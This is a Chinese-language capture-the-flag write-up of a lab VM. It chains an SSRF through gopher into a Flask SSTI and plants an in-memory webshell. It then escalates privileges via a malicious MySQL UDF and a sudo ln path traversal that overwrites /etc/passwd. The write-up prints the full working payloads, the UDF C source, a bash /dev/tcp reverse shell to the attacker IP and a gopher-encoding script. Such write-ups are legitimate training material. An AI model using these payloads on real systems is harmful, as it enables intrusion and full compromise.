-
Notifications
You must be signed in to change notification settings - Fork 0
Description
1.信息收集
常规扫描
tcp
┌──(root㉿kali)-[/tmp/test]
└─# nmap --min-rate 10000 -p- 192.168.2.57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-12 07:42 EST
Nmap scan report for 192.168.2.57
Host is up (0.00044s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:51:70:67 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 9.00 seconds
┌──(root㉿kali)-[/tmp/test]
└─# nmap -sV -sC -O -p22,80 192.168.2.57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-12 07:43 EST
Nmap scan report for 192.168.2.57
Host is up (0.00024s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Webpage Preview Tool
MAC Address: 08:00:27:51:70:67 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.87 seconds
┌──(root㉿kali)-[/tmp/test]
└─# nmap --script=vuln -p22,80 192.168.2.57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-12 07:43 EST
Nmap scan report for 192.168.2.57
Host is up (0.00037s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-fileupload-exploiter:
|
|_ Couldn't find a file-type field.
MAC Address: 08:00:27:51:70:67 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 37.37 seconds
udp
┌──(root㉿kali)-[/tmp/test]
└─# nmap -sU --top-ports 20 192.168.2.57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-12 07:43 EST
Nmap scan report for 192.168.2.57
Host is up (0.00077s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
123/udp open|filtered ntp
135/udp open|filtered msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
139/udp open|filtered netbios-ssn
161/udp closed snmp
162/udp closed snmptrap
445/udp open|filtered microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp open|filtered route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp open|filtered upnp
4500/udp open|filtered nat-t-ike
49152/udp closed unknown
MAC Address: 08:00:27:51:70:67 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 14.47 seconds
tcp开放22,80端口,udp判断难度较大,优先级可排后
2.web渗透
初步测试
web页面,很容易想到可能存在ssrf漏洞
![[Pasted image 20251112204656.png]]
利用file协议先尝试读取passwd文件
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
tftp:x:106:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
lemon:x:1001:1001:lemon:/home/lemon:/bin/bash
mysql:x:107:114:MySQL Server,,,:/nonexistent:/bin/false
可以发现存在tftp用户,结合udp扫描结果,猜测可能会存在tftp服务
本地端口探测
ssrf更深的危害,多要结合其他服务产生,读取文件并未发现敏感信息,进行本地端口探测
方法一
==老夜==提供的方法也是目前最好的方法,读取/proc/net/tcp文件,在 Linux 系统中/proc/net/tcp文件提供了tcp连接的信息
利用file协议读取
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 14261 1 0000000054c1d360 100 0 0 10 0
1: 0100007F:091C 00000000:0000 0A 00000000:00000000 00:00000000 00000000 33 0 15132 1 000000005eaf8d0a 100 0 0 10 0
2: 0100007F:091D 00000000:0000 0A 00000000:00000000 00:00000000 00000000 33 0 15144 1 00000000bd9ebf81 100 0 0 10 0
3: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000 107 0 15456 1 00000000a1bd6770 100 0 0 10 0
转换一下信息
TCP 连接状态信息
连接列表
连接 0:
- 本地地址: 0.0.0.0:22
- 远程地址: 0.0.0.0:0
- 状态: LISTEN (监听)
- 发送队列: 0 字节
- 接收队列: 0 字节
- UID: 0 (root)
- Inode: 14261
连接 1:
- 本地地址: 127.0.0.1:2332
- 远程地址: 0.0.0.0:0
- 状态: LISTEN (监听)
- 发送队列: 0 字节
- 接收队列: 0 字节
- UID: 33
- Inode: 15132
连接 2:
- 本地地址: 127.0.0.1:2333
- 远程地址: 0.0.0.0:0
- 状态: LISTEN (监听)
- 发送队列: 0 字节
- 接收队列: 0 字节
- UID: 33
- Inode: 15144
连接 3:
- 本地地址: 127.0.0.1:3306
- 远程地址: 0.0.0.0:0
- 状态: LISTEN (监听)
- 发送队列: 0 字节
- 接收队列: 0 字节
- UID: 107
- Inode: 15456
服务说明
- 端口 22: SSH 服务
- 端口 3306: MySQL 数据库服务
- 端口 2332/2333: 应用程序服务端口
- 所有服务: 处于监听状态,等待连接
方法二
利用ssrf中的dict协议爆破端口,http协议同样可以
![[Pasted image 20251112211216.png]]
扫出来了2332和2333端口
源码文件
http协议可以得到信息回显
分别是
get reply.py
get app.py
结合之前信息,可以尝试tftp连接获取这两个py文件
┌──(root㉿kali)-[/tmp/test]
└─# tftp 192.168.2.57
tftp> get app.py
tftp> get reply.py
tftp> quit
┌──(root㉿kali)-[/tmp/test]
└─# cat *
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
return "get app.py"
#此处隐藏
# 直接渲染 - 存在SSTI漏洞,在哪呢?
if __name__ == '__main__':
app.run(host='127.0.0.1', port=2333, debug=False, threaded=True)
from flask import Flask, request
import socket
import threading
app = Flask(__name__)
def forward_to_2333(data):
def forward():
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5)
s.connect(('127.0.0.1', 2333))
# 构建HTTP POST请求
http_request = f"""********************
***********************************************
"""
s.send(http_request)
# 接收响应但不处理
response = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
except:
pass # 忽略所有错误
# 在后台线程中执行转发
thread = threading.Thread(target=forward)
thread.daemon = True
thread.start()
@app.route('/', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD'])
def relay():
try:
# 获取原始数据
raw_data = request.get_data()
# 在后台转发到2333端口
if raw_data:
forward_to_2333(raw_data)
return "get reply.py"
except Exception:
return "get reply.py"
if __name__ == '__main__':
app.run(host='127.0.0.1', port=2332, debug=False, threaded=True)
虽然隐藏了部分代码,结合提示,不难看出2332端口服务作为中继将得到的所有请求体不做任何处理转发到2333端口,在2333端口进行渲染导致ssti漏洞,而且均无回显
而且ssrf仍然支持tftp协议可以直接利用tftp://127.0.0.1/app.py读取源码文件
这也是预期路径,但是由于源码文件藏得不够深,就在opt下,所以同样也可以通过file协议直接读取到完整源码文件
getshell
拿到shell的方法就是gopher打flask,方式有很多,这里采用注入内存马
payload:
data={{url_for.__globals__.current_app.after_request_funcs.setdefault(None, []).append(
url_for.__globals__['__builtins__']['eval'](
"lambda resp: __import__('flask').make_response(__import__('os').popen(__import__('flask').request.args.get('cmd')).read()) if __import__('flask').request.args.get('cmd') else resp"
))}}
gopher编码结果
gopher://127.0.0.1:2332/_POST%20%2F%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A2332%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%20331%0D%0A%0D%0Adata%3D%7B%7Burl_for.__globals__.current_app.after_request_funcs.setdefault%28None%2C%20%5B%5D%29.append%28%0A%20%20%20%20url_for.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%0A%20%20%20%20%20%20%20%20%22lambda%20resp%3A%20__import__%28%27flask%27%29.make_response%28__import__%28%27os%27%29.popen%28__import__%28%27flask%27%29.request.args.get%28%27cmd%27%29%29.read%28%29%29%20if%20__import__%28%27flask%27%29.request.args.get%28%27cmd%27%29%20else%20resp%22%0A%29%29%7D%7D
发送即可注入内存马,直接http://127.0.0.1:2333/?cmd=command即可执行命令
3.提权
lemon
在web目录下发现文件secret_of_lemon.txt,明显文件大小不对,less查看发现零宽字符
www-data@XIYI:~/html$ ls -al
total 24
drwxr-xr-x 2 root root 4096 Nov 11 03:57 .
drwxr-xr-x 3 root root 4096 Apr 4 2025 ..
-rw-r--r-- 1 root root 9563 Nov 10 23:06 index.php
-rw-r--r-- 1 root root 547 Nov 11 03:57 secret_of_lemon.txt
www-data@XIYI:~/html$ cat secret_of_lemon.txt
# Last updated: 2023-11-15
nothing here
#
www-data@XIYI:~/html$
解密得到凭据lemon:Very_sour_lemon
user.txt
lemon@XIYI:~$ cat user.txt
flag{lemon-d9832a587d8a4de1e69c94e1d907d421}
root
在lemon家目录下发现pass.txt,经过尝试是mysql数据库密码
lemon的sudo权限以及开放的端口
lemon@XIYI:~$ cat pass.txt
root:rootted
lemon@XIYI:~$ sudo -l
Matching Defaults entries for lemon on XIYI:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lemon may run the following commands on XIYI:
(root) NOPASSWD: /usr/bin/ln -sf * /usr/lib/mysql/plugin/*
lemon@XIYI:~$ ss -lnt
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 127.0.0.1:2332 0.0.0.0:*
LISTEN 0 128 127.0.0.1:2333 0.0.0.0:*
LISTEN 0 128 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
简单筛查可发现root.bak文件,权限仅mysql用户可读
lemon@XIYI:~$ find / -iname "*bak*" 2>/dev/null
/usr/local/lib/python3.9/dist-packages/pytz/zoneinfo/Asia/Baku
/usr/lib/mysql/plugin/root.bak
/usr/share/zoneinfo/Asia/Baku
/usr/share/zoneinfo/posix/Asia/Baku
/usr/share/zoneinfo/right/Asia/Baku
lemon@XIYI:~$ ls -al /usr/lib/mysql/plugin/root.bak
-r-------- 1 mysql mysql 13 Nov 10 22:18 /usr/lib/mysql/plugin/root.bak
预期解
通过mysql udf横向提权到mysql读取root.bak,然后提升至root权限
这里不能直接通过load_file()读取文件,即使root.bak在其他目录下,因为mysql读取时是这样情况,其实有点神奇
root@XIYI:/tmp# mkdir test
root@XIYI:/tmp# cd test/
root@XIYI:/tmp/test# echo "123" >> root.bak
root@XIYI:/tmp/test# chown mysql:mysql root.bak
root@XIYI:/tmp/test# chmod 400 root.bak
root@XIYI:/tmp/test# ls -al
total 12
drwxr-xr-x 2 root root 4096 Nov 12 23:01 .
drwxrwxrwt 11 root root 4096 Nov 12 23:01 ..
-r-------- 1 mysql mysql 4 Nov 12 23:01 root.bak
root@XIYI:/tmp/test# mysql -uroot -prootted
MariaDB [(none)]> select load_file("/tmp/test/root.bak");
+---------------------------------+
| load_file("/tmp/test/root.bak") |
+---------------------------------+
| NULL |
+---------------------------------+
1 row in set (0.000 sec)
MariaDB [(none)]> exit
Bye
root@XIYI:/tmp/test# chmod 440 root.bak
root@XIYI:/tmp/test# ls -al
total 12
drwxr-xr-x 2 root root 4096 Nov 12 23:01 .
drwxrwxrwt 11 root root 4096 Nov 12 23:01 ..
-r--r----- 1 mysql mysql 4 Nov 12 23:01 root.bak
root@XIYI:/tmp/test# mysql -uroot -prootted
MariaDB [(none)]> select load_file("/tmp/test/root.bak");
+---------------------------------+
| load_file("/tmp/test/root.bak") |
+---------------------------------+
| NULL |
+---------------------------------+
1 row in set (0.000 sec)
MariaDB [(none)]> exit
Bye
root@XIYI:/tmp/test# chmod 444 root.bak
root@XIYI:/tmp/test# mysql -uroot -prootted
MariaDB [(none)]> select load_file("/tmp/test/root.bak");
+---------------------------------+
| load_file("/tmp/test/root.bak") |
+---------------------------------+
| 123
|
+---------------------------------+
1 row in set (0.001 sec)
MariaDB [(none)]>
从上述很容易看出问题所在
编译恶意so文件,so文件需要保证mysql进程能够访问
udf.c
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}
-------------------------------------------------------------------------
lemon@XIYI:/tmp$ gcc -g -shared -o udf.so udf.c -lc
lemon@XIYI:/tmp$ sudo /usr/bin/ln -sf /tmp/udf.so /usr/lib/mysql/plugin/udf.so
lemon@XIYI:/tmp$ mysql -uroot -prootted
MariaDB [(none)]> CREATE FUNCTION do_system RETURNS INTEGER SONAME 'udf.so';
Query OK, 0 rows affected (0.002 sec)
MariaDB [(none)]> SELECT * FROM mysql.func WHERE name='do_system';
+-----------+-----+--------+----------+
| name | ret | dl | type |
+-----------+-----+--------+----------+
| do_system | 2 | udf.so | function |
+-----------+-----+--------+----------+
1 row in set (0.001 sec)
MariaDB [(none)]> SELECT do_system('/bin/bash -c "bash -i >& /dev/tcp/192.168.2.60/2332 0>&1"');
strace: Process 1123 attached
strace: Process 1124 attached
strace: Process 1125 attached
mysql@XIYI:/var/lib/mysql$ cat root.bak
cat root.bak
root:ezlemon
即可接收到mysql权限的shell,提权即可
非预期解
sudo权限提供了ln,路径穿越覆盖即可
sudo /usr/bin/ln -sf /home/lemon/passwd /usr/lib/mysql/plugin/../../../../../etc/passwd
root.txt
root@XIYI:~# cat /root/root.txt
flag{root-e6a6e8eac98579c8d826d07df3c132bc}
附上脚本
听是好多被gopher编码恶心到了,附上一直在用的脚本
gopher编码脚本
#!/usr/bin/env python3
"""
gopher_single_encode.py
按"单次 percent-encode"规则生成 gopher POST 请求的 selector 和 gopher:// URL。
不会执行网络请求——仅生成编码字符串供你在本地测试使用。
用法(交互式):
python3 gopher_single_encode.py
或命令行:
python3 gopher_single_encode.py --host 127.0.0.1 --port 5000 --path / --body 'name=foo'
python3 gopher_single_encode.py --host 127.0.0.1 --port 5000 --path / --file payload.txt
python3 gopher_single_encode.py --host 127.0.0.1 --port 5000 --path / --method GET --body 'cmd=ls'
"""
import argparse
import urllib.parse
import sys
def build_raw_request(host, port, path, body, method="POST", extra_headers=None):
lines = []
if method.upper() == "GET":
# 对于GET请求,将参数附加到路径中
if body:
if '?' in path:
path += '&' + body
else:
path += '?' + body
lines.append(f"GET {path} HTTP/1.1")
lines.append(f"Host: {host}:{port}")
# GET请求通常没有Content-Type和Content-Length
if extra_headers:
for k,v in extra_headers.items():
lines.append(f"{k}: {v}")
else:
# 默认POST请求
content_length = len(body.encode('utf-8'))
lines.append(f"POST {path} HTTP/1.1")
lines.append(f"Host: {host}:{port}")
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": str(content_length),
}
if extra_headers:
headers.update(extra_headers)
for k,v in headers.items():
lines.append(f"{k}: {v}")
request = "\r\n".join(lines) + "\r\n\r\n"
# 对于POST请求,添加请求体
if method.upper() == "POST" and body:
request += body
return request
def single_encode_selector(raw_request, prefix_underscore=True):
# Percent-encode the raw_request (encode all non-alphanum)
encoded = urllib.parse.quote(raw_request, safe='')
selector = ("_" if prefix_underscore else "") + encoded
return selector
def make_gopher_url(host, port, selector):
return f"gopher://{host}:{port}/{selector}"
def parse_args():
p = argparse.ArgumentParser()
p.add_argument("--host", "-H", default=None, help="target host (IP)")
p.add_argument("--port", "-P", default=None, help="target port")
p.add_argument("--path", default="/", help="HTTP path, e.g. / or /submit")
p.add_argument("--body", "-d", default=None, help="POST body or GET query string (raw text). If omitted, will prompt.")
p.add_argument("--file", "-f", default=None, help="Read payload from file")
p.add_argument("--method", "-m", default="POST", choices=["GET", "POST"], help="HTTP method (GET or POST)")
p.add_argument("--prefix-underscore", action="store_true", default=True, help="prefix selector with '_' (common usage)")
p.add_argument("--no-prefix-underscore", action="store_false", dest="prefix_underscore", help="do not prefix selector with '_'")
p.add_argument("--headers", default=None, help="Additional headers in format 'Header1: Value1;Header2: Value2'")
return p.parse_args()
def main():
args = parse_args()
host = args.host or input("target host (IP, e.g. 127.0.0.1): ").strip()
port = args.port or input("target port (e.g. 5000): ").strip()
path = args.path
method = args.method
# 处理额外headers
extra_headers = {}
if args.headers:
for header_pair in args.headers.split(';'):
if ':' in header_pair:
key, value = header_pair.split(':', 1)
extra_headers[key.strip()] = value.strip()
# 从文件或命令行参数获取body
body = ""
if args.file:
try:
with open(args.file, 'r', encoding='utf-8') as f:
body = f.read().strip()
except FileNotFoundError:
print(f"Error: File {args.file} not found.")
sys.exit(1)
except Exception as e:
print(f"Error reading file: {e}")
sys.exit(1)
elif args.body:
body = args.body
else:
print(f"Enter {method} body/query (single line). End with Enter:")
body = sys.stdin.readline().rstrip("\n")
raw_request = build_raw_request(host, port, path, body, method=method, extra_headers=extra_headers)
selector = single_encode_selector(raw_request, prefix_underscore=args.prefix_underscore)
gopher_url = make_gopher_url(host, port, selector)
print(f"\n--- RAW HTTP {method} REQUEST (visualized CRLF as \\r\\n) ---\n")
print(raw_request.replace("\r\n", "\\r\\n\n"))
print("\n--- Single-encode selector ---\n")
print(selector)
print("\n--- gopher URL (paste into a client that supports gopher) ---\n")
print(gopher_url)
print("\n--- NOTES ---")
if method == "POST":
print("- Content-Length computed as bytes length of body (UTF-8).")
print("- This is SINGLE percent-encoding (client needs to decode once to get real CRLF).")
print("")
if __name__ == '__main__':
main()
零宽解密脚本
非通用
import os
import sys
# --- 零宽字符与二进制位的映射 ---
# ZWSP: \u200b -> 0
# ZWNJ: \u200c -> 1
ZERO_WIDTH_CHARS = {
'\u200b': '0', # ZERO WIDTH SPACE (ZWSP)
'\u200c': '1', # ZERO WIDTH NON-JOINER (ZWNJ)
}
# V3版本中,我们忽略分隔符(如 \u200d),强制按 8 位解析。
BYTE_SIZE = 8
def binary_to_text(binary_data: str) -> str:
"""
将二进制字符串(8位)转换为对应的文本。
"""
if not binary_data:
return ""
try:
char_code = int(binary_data, 2)
return chr(char_code)
except ValueError:
return f"[错误: 无法解析二进制串 '{binary_data}']"
except OverflowError:
# 当尝试将非常长的字符串解析为单个数字时出现
return f"[错误: 数字过大或编码无效 '{binary_data}']"
def decode_zero_width_steg(encoded_text: str) -> str:
"""
从包含零宽隐写的文本中解密隐藏消息,强制按 8 位一组解析。
"""
extracted_bits = ""
# 1. 提取所有有效的零宽字符并转换成一个连续的二进制长串
for char in encoded_text:
if char in ZERO_WIDTH_CHARS:
extracted_bits += ZERO_WIDTH_CHARS[char]
# 注意:这里会忽略任何其他零宽字符,如 \u200d (ZWJ)
if not extracted_bits:
return "--- ❗ 未发现有效的零宽隐写信息!(或使用的零宽字符映射不匹配) ---"
decoded_message = []
# 2. 强制将二进制长串分割成 8 位一组进行解码
# 遍历二进制串,步长为 8
for i in range(0, len(extracted_bits), BYTE_SIZE):
# 取出当前 8 位
byte = extracted_bits[i:i + BYTE_SIZE]
if len(byte) == BYTE_SIZE:
# 只有完整的 8 位才进行解码
decoded_char = binary_to_text(byte)
decoded_message.append(decoded_char)
else:
# 如果剩余的位数不足 8 位,可能是消息结束或填充不完整
print(f"\n警告:二进制串长度非 8 的倍数,忽略剩余 {len(byte)} 位: {byte}")
return "".join(decoded_message)
def decode_from_file(file_path: str):
"""
从指定文件读取内容并进行零宽隐写解密。
"""
if not os.path.exists(file_path):
print(f"❌ 错误:文件 '{file_path}' 不存在。")
return
print(f"--- 正在读取文件: {file_path} ---")
try:
# 必须以UTF-8编码读取文件
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
secret_message = decode_zero_width_steg(content)
print("\n*** ✅ 解密结果 ***")
print(secret_message)
print("********************")
except UnicodeDecodeError:
print("❌ 错误:文件编码不是 UTF-8,请确保文件保存为 UTF-8 格式。")
except Exception as e:
print(f"❌ 发生错误: {e}")
# --- 主程序入口 ---
if __name__ == "__main__":
if len(sys.argv) < 2:
print("💡 用法: python3 decode.py <文件路径>")
sys.exit(1)
else:
file_to_decode = sys.argv[1]
decode_from_file(file_to_decode)